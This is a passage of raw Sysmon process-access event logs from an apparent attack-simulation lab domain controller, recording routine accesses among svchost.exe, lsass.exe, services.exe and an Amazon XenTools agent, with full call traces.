11:49:56.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1109,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1110,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1111,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1112,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1113,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 928\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001013110200}\r\nTargetProcessId: 2608\r\nTargetImage: C:\\Program Files\\Amazon\\XenTools\\LiteAgent.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"928","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001013110200}","TargetProcessId":"2608","TargetImage":"C:\\Program Files\\Amazon\\XenTools\\LiteAgent.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1114,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1115,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1116,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 